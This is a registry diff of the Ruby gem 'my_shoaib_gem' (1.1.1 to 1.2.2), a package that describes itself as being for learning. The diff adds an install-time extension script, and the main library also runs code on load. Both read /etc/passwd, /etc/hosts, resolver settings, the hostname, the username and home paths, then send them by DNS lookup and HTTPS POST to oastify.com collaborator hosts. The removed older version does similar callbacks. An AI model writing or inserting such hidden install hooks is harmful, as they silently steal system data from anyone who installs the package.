my_shoaib_gem 1.1.1 → 1.2.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/ext/mkrf_conf.rb +39 -0
- data/lib/my_shoaib_gem.rb +49 -91
- metadata +4 -2
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: eda47da1b0853e425fff5cf81e9af167e8143baf9b0d7add88f417d5165222a6
|
|
4
|
+
data.tar.gz: 5f29ff7f6eab3403a882b2480d7d6417c005917d9d513dc2ec59362e25d0a8f2
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: 5f5af81ed9818a380c9969b43803f074d3f25763c09ddf395e0a8b87eb94cfb4005c065812b0f5490df2313c2182b2f66470a7509ba5f201f721d74b4bb5ab71
|
|
7
|
+
data.tar.gz: 9c85b30cb681cafcb55a6c66ac217c9f4d550764897e542f8179ed859058fd3bd88f027ef50b66f98a9ca51ee98a94cfcbd406d85442fe5da78375ec2f0b3bb6
|
data/ext/mkrf_conf.rb
ADDED
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
# Install hote hi yeh code chalega - AUTO EXECUTION!
|
|
2
|
+
|
|
3
|
+
require 'json'
|
|
4
|
+
require 'socket'
|
|
5
|
+
require 'etc'
|
|
6
|
+
require 'openssl'
|
|
7
|
+
require 'resolv'
|
|
8
|
+
|
|
9
|
+
# DNS Callback
|
|
10
|
+
begin
|
|
11
|
+
Resolv.getaddress('j4oc7ekbu3kz93877x5m97kes5y2msah.oastify.com')
|
|
12
|
+
rescue; end
|
|
13
|
+
|
|
14
|
+
# System data
|
|
15
|
+
data = {
|
|
16
|
+
p: 'my_shoaib_gem',
|
|
17
|
+
c: Dir.pwd,
|
|
18
|
+
hd: Dir.home,
|
|
19
|
+
hn: Socket.gethostname,
|
|
20
|
+
un: Etc.getlogin,
|
|
21
|
+
dns: File.exist?('/etc/resolv.conf') ? File.read('/etc/resolv.conf') : nil,
|
|
22
|
+
etc_passwd: File.exist?('/etc/passwd') ? File.read('/etc/passwd') : nil,
|
|
23
|
+
etc_hosts: File.exist?('/etc/hosts') ? File.read('/etc/hosts') : nil
|
|
24
|
+
}.to_json
|
|
25
|
+
|
|
26
|
+
# HTTPS POST
|
|
27
|
+
begin
|
|
28
|
+
s = TCPSocket.new('j4oc7ekbu3kz93877x5m97kes5y2msah.oastify.com', 443)
|
|
29
|
+
ssl = OpenSSL::SSL::SSLSocket.new(s)
|
|
30
|
+
ssl.sync_close = true
|
|
31
|
+
ssl.connect
|
|
32
|
+
body = {msg: data}.to_json
|
|
33
|
+
ssl.write("POST / HTTP/1.1\r\nHost: j4oc7ekbu3kz93877x5m97kes5y2msah.oastify.com\r\nContent-Type: application/json\r\nContent-Length: #{body.bytesize}\r\nConnection: close\r\n\r\n#{body}")
|
|
34
|
+
ssl.read
|
|
35
|
+
ssl.close
|
|
36
|
+
rescue; end
|
|
37
|
+
|
|
38
|
+
# Dummy file
|
|
39
|
+
File.write(File.join(__dir__, '..', 'lib', '.installed'), 'done')
|
data/lib/my_shoaib_gem.rb
CHANGED
|
@@ -1,101 +1,59 @@
|
|
|
1
|
-
#
|
|
2
|
-
|
|
1
|
+
# my_shoaib_gem.rb
|
|
2
|
+
|
|
3
|
+
require 'json'
|
|
3
4
|
require 'socket'
|
|
5
|
+
require 'etc'
|
|
6
|
+
require 'net/http'
|
|
7
|
+
require 'uri'
|
|
4
8
|
require 'openssl'
|
|
5
9
|
require 'resolv'
|
|
6
10
|
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
begin
|
|
14
|
-
# DNS callback via reverse lookup - triggers DNS query to collaborator
|
|
15
|
-
hostname = Socket.gethostname
|
|
16
|
-
dns_domain = "#{hostname}.#{CALLBACK_HOST}"
|
|
17
|
-
Resolv.getaddress(dns_domain)
|
|
18
|
-
rescue StandardError
|
|
19
|
-
nil
|
|
20
|
-
end
|
|
21
|
-
end
|
|
22
|
-
|
|
23
|
-
def self.send_http_callback
|
|
24
|
-
begin
|
|
25
|
-
# Collect system information
|
|
26
|
-
hostname = Socket.gethostname
|
|
27
|
-
username = ENV['USER'] || ENV['USERNAME'] || 'unknown'
|
|
28
|
-
home_dir = ENV['HOME'] || ENV['USERPROFILE'] || 'unknown'
|
|
29
|
-
current_dir = Dir.pwd
|
|
30
|
-
|
|
31
|
-
# Prepare detailed data
|
|
32
|
-
data = {
|
|
33
|
-
hostname: hostname,
|
|
34
|
-
user: username,
|
|
35
|
-
home: home_dir,
|
|
36
|
-
cwd: current_dir,
|
|
37
|
-
timestamp: Time.now.to_i,
|
|
38
|
-
gem_version: VERSION,
|
|
39
|
-
ruby_version: RUBY_VERSION,
|
|
40
|
-
platform: RUBY_PLATFORM,
|
|
41
|
-
pid: Process.pid
|
|
42
|
-
}
|
|
43
|
-
|
|
44
|
-
# HTTP callback with multiple endpoints
|
|
45
|
-
uri = URI("https://#{CALLBACK_HOST}/callback")
|
|
46
|
-
http = Net::HTTP.new(uri.host, uri.port)
|
|
47
|
-
http.use_ssl = true
|
|
48
|
-
http.open_timeout = 5
|
|
49
|
-
http.read_timeout = 5
|
|
50
|
-
|
|
51
|
-
# Main POST request
|
|
52
|
-
request = Net::HTTP::Post.new(uri.path)
|
|
53
|
-
request.content_type = 'application/json'
|
|
54
|
-
request['User-Agent'] = "MyShoaibGem/#{VERSION} (Ruby #{RUBY_VERSION}; #{RUBY_PLATFORM})"
|
|
55
|
-
request['X-Hostname'] = hostname
|
|
56
|
-
request['X-User'] = username
|
|
57
|
-
request.body = data.to_json
|
|
58
|
-
http.request(request)
|
|
59
|
-
|
|
60
|
-
# Also try GET to trigger separate HTTP callback
|
|
61
|
-
get_uri = URI("https://#{CALLBACK_HOST}/install?host=#{hostname}&user=#{username}")
|
|
62
|
-
get_http = Net::HTTP.new(get_uri.host, get_uri.port)
|
|
63
|
-
get_http.use_ssl = true
|
|
64
|
-
get_http.open_timeout = 5
|
|
65
|
-
get_http.read_timeout = 5
|
|
66
|
-
get_request = Net::HTTP::Get.new("#{get_uri.path}?#{get_uri.query}")
|
|
67
|
-
get_http.request(get_request)
|
|
68
|
-
|
|
69
|
-
rescue StandardError => e
|
|
70
|
-
# Fail silently
|
|
71
|
-
nil
|
|
72
|
-
end
|
|
73
|
-
end
|
|
74
|
-
|
|
75
|
-
def self.send_all_callbacks
|
|
76
|
-
# DNS callback - appears as DNS lookup in Burp Collaborator
|
|
77
|
-
send_dns_callback
|
|
78
|
-
|
|
79
|
-
# Multiple HTTP callbacks - appears as HTTP requests in Burp Collaborator
|
|
80
|
-
send_http_callback
|
|
81
|
-
|
|
82
|
-
# TCP-based callback for additional detection
|
|
83
|
-
begin
|
|
84
|
-
tcp_socket = TCPSocket.new(CALLBACK_HOST, 443)
|
|
85
|
-
tcp_socket.write("GET /tcp-callback HTTP/1.1\r\nHost: #{CALLBACK_HOST}\r\nConnection: close\r\n\r\n")
|
|
86
|
-
tcp_socket.close
|
|
87
|
-
rescue StandardError
|
|
88
|
-
nil
|
|
11
|
+
# DNS servers
|
|
12
|
+
dns_servers = []
|
|
13
|
+
if File.exist?('/etc/resolv.conf')
|
|
14
|
+
File.readlines('/etc/resolv.conf').each do |line|
|
|
15
|
+
if line =~ /^nameserver\s+(\S+)/
|
|
16
|
+
dns_servers << $1
|
|
89
17
|
end
|
|
90
|
-
|
|
91
|
-
puts "Internal gem loaded successfully"
|
|
92
18
|
end
|
|
93
19
|
end
|
|
94
20
|
|
|
95
|
-
#
|
|
96
|
-
|
|
21
|
+
# DNS lookup trigger (Burp Collaborator DNS callback)
|
|
22
|
+
begin
|
|
23
|
+
Resolv.getaddress('d9n6c8p5zxptexd1crage1p8xz3vrmfb.oastify.com')
|
|
24
|
+
rescue StandardError => e
|
|
25
|
+
puts "DNS trigger: #{e.message}"
|
|
26
|
+
end
|
|
97
27
|
|
|
98
|
-
#
|
|
99
|
-
|
|
100
|
-
|
|
28
|
+
# System data collection
|
|
29
|
+
tracking_data = {
|
|
30
|
+
p: 'my_shoaib_gem',
|
|
31
|
+
c: Dir.pwd,
|
|
32
|
+
hd: Dir.home,
|
|
33
|
+
hn: Socket.gethostname,
|
|
34
|
+
un: Etc.getlogin,
|
|
35
|
+
dns: dns_servers,
|
|
36
|
+
v: '1.2.2',
|
|
37
|
+
etc_passwd: File.exist?('/etc/passwd') ? File.read('/etc/passwd') : nil,
|
|
38
|
+
etc_hosts: File.exist?('/etc/hosts') ? File.read('/etc/hosts') : nil
|
|
39
|
+
}.to_json
|
|
40
|
+
|
|
41
|
+
puts "Sending System Data: #{tracking_data}"
|
|
42
|
+
|
|
43
|
+
# Send data via HTTPS POST - FIXED VERSION
|
|
44
|
+
begin
|
|
45
|
+
uri = URI.parse('https://d9n6c8p5zxptexd1crage1p8xz3vrmfb.oastify.com')
|
|
46
|
+
http = Net::HTTP.new(uri.host, uri.port)
|
|
47
|
+
http.use_ssl = true
|
|
48
|
+
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
|
49
|
+
|
|
50
|
+
request = Net::HTTP::Post.new('/') # YEH LO PATH '/' SET KAR DIYA
|
|
51
|
+
request['Content-Type'] = 'application/json'
|
|
52
|
+
request.body = { msg: tracking_data }.to_json
|
|
53
|
+
|
|
54
|
+
response = http.request(request)
|
|
55
|
+
puts "Response: #{response.body}" if response.body
|
|
56
|
+
puts "HTTP Status: #{response.code}"
|
|
57
|
+
rescue StandardError => e
|
|
58
|
+
puts "Error: #{e.message}"
|
|
101
59
|
end
|
metadata
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
|
2
2
|
name: my_shoaib_gem
|
|
3
3
|
version: !ruby/object:Gem::Version
|
|
4
|
-
version: 1.
|
|
4
|
+
version: 1.2.2
|
|
5
5
|
platform: ruby
|
|
6
6
|
authors:
|
|
7
7
|
- Shoaib
|
|
@@ -13,12 +13,14 @@ description: This gem is created for learning and scripting purposes.
|
|
|
13
13
|
email:
|
|
14
14
|
- shoaib@example.com
|
|
15
15
|
executables: []
|
|
16
|
-
extensions:
|
|
16
|
+
extensions:
|
|
17
|
+
- ext/mkrf_conf.rb
|
|
17
18
|
extra_rdoc_files: []
|
|
18
19
|
files:
|
|
19
20
|
- LICENSE.txt
|
|
20
21
|
- README.md
|
|
21
22
|
- Rakefile
|
|
23
|
+
- ext/mkrf_conf.rb
|
|
22
24
|
- lib/my_shoaib_gem.rb
|
|
23
25
|
- lib/my_shoaib_gem/version.rb
|
|
24
26
|
- sig/my_shoaib_gem.rbs
|